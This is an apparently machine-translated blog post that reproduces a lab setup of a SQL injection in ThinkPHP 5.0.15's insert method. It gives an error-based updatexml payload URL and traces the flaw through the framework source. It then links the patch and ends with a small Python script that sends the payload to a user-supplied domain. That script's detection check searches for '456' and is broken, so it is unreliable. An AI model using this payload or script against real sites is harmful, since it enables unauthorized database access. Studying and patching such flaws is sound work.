Una auditoría recurrente de la inyección SQL de ThinkPHP5.0.15

Acerca de tp framework

ThinkPHP es un marco de desarrollo de PHP ligero orientado a objetos, rápido y sencillo, gratuito, de código abierto
. Fue fundado a principios de 2006 y lanzado bajo el acuerdo de código abierto Apache2. Nació con el propósito de un desarrollo ágil de aplicaciones WEB y un desarrollo simplificado de aplicaciones empresariales. . ThinkPHP se ha adherido a los principios de diseño concisos y prácticos desde su nacimiento. Mientras mantiene un rendimiento excelente y un código mínimo, también presta atención a la facilidad de uso. Y tiene muchas funciones y características originales. Con la participación activa del equipo de la comunidad, se ha optimizado y mejorado continuamente en términos de facilidad de uso, escalabilidad y rendimiento. Se ha convertido en el marco de desarrollo de aplicaciones WEB más líder e influyente en China: los casos típicos garantizan que se pueda utilizar de forma estable para el desarrollo comercial y a nivel de portal.

Descripción de la vulnerabilidad

Aunque el marco ThinkPHP 5.0.x utiliza un método de consulta parametrizado para operar la base de datos, en los métodos de inserción y actualización, los parámetros entrantes son controlables y no hay un filtrado estricto, lo que finalmente condujo a la aparición de esta vulnerabilidad de inyección SQL.

Preparación preliminar

下载地址:http://www.thinkphp.cn/down/1125.html

Descomprímalo y colóquelo
Inserte la descripción de la imagen aquí
en Xiaopi , visite la página. Según el artículo del grandullón, aquí necesitamos crear un nuevo campo de base de datos — tabla —
Inserte la descripción de la imagen aquí
y luego abrirlo C:\phpstudy_pro\WWW\thinkphp_5.0.15\applicationpara completar los espacios en blanco de acuerdo con lo que escribí anteriormente. Inserte la descripción de la imagen aquí
Modificar config.php
Inserte la descripción de la imagen aquí
Modifique los métodos Add database.phpInserte la descripción de la imagen aquí
en application/index/controller/Index.phpla clase Index:

public  function testsql()

    {
    
    

        $username = input('get.username/a');

        db('user')->where(['id'=> 1])->insert(['username'=>$username]);

    }

Luego toma la carga útil escrita por el jefe para acceder al disparador

http://127.0.0.1/thinkphp_5.0.15/public/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

Inserte la descripción de la imagen aquí
La explicación del gran chico

http://127.0.0.1/thinkphp/  public/        index.php/   index/   index/   index
         域名     网站目录  对外访问目录        入口文件     前台      控制器    方法名
       
扩展:
其中关于 updatexml 函数UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

Análisis de vulnerabilidad

En primer lugar, sabemos que el método de inserción tiene lagunas, luego verifiquemos la implementación específica del método de inserción.
Después de obtener los parámetros a través de la entrada, la variable de nombre de usuario es la siguiente:

username = {
    
    array}[3]
	0 = "inc"
	1 = "updatexml(1,concat(0x7,user(),0x7e),1)"
	2 = "1"

Siga insert, thinkphp/library/think/db/Query.phpInserte la descripción de la imagen aquí
ejecute la instrucción de inserción

$sql = $this->builder->insert($data, $options, $replace);

Con el thinkphp/library/think/db/Builder.php
Inserte la descripción de la imagen aquí
con el parseData que thinkphp/library/think/db/Builder.php
Inserte la descripción de la imagen aquí
se verá $vales una matriz, y de acuerdo con el $val[0]valor de inc, ingresará el 'inc' por la declaración de cambio:
parseKey aquí, que thinkphp/library/think/db/builder/Mysql.php
Inserte la descripción de la imagen aquí
aquí no es la clave $ entrante para más filtrado y verificación, empalmando con el resultado anterior de parseKey y devolverlo al resultado hasta que la inyección sea exitosa.

Parche de vulnerabilidad

https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b

Dirección del artículo de Big Guy: https://blog.csdn.net/Candyys/article/details/104864761

Basura poc escrito por mí mismo

import requests
import re
#分割线___________________________________

def domain1(domain):
    url1 = domain + "/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1"
    try:
        res = requests.get(url1)
        res.encoding = 'utf-8'
        html = res.text

        html_data = re.findall("456",html)
        html_data1 = []
        for i in html_data:
            if not i in html_data1:
                html_data1.append(i)
        print("(温馨提示为null可能是不存在该漏洞):" + str(html_data1))
    except Exception:
        print("请检查网址是否正确")
def main():
    domain = input("请输入域名或IP:")
    domain1(domain)
if __name__ == '__main__':
    main()

Supongo que te gusta

Origin blog.csdn.net/p_utao/article/details/112977079
Recomendado
Clasificación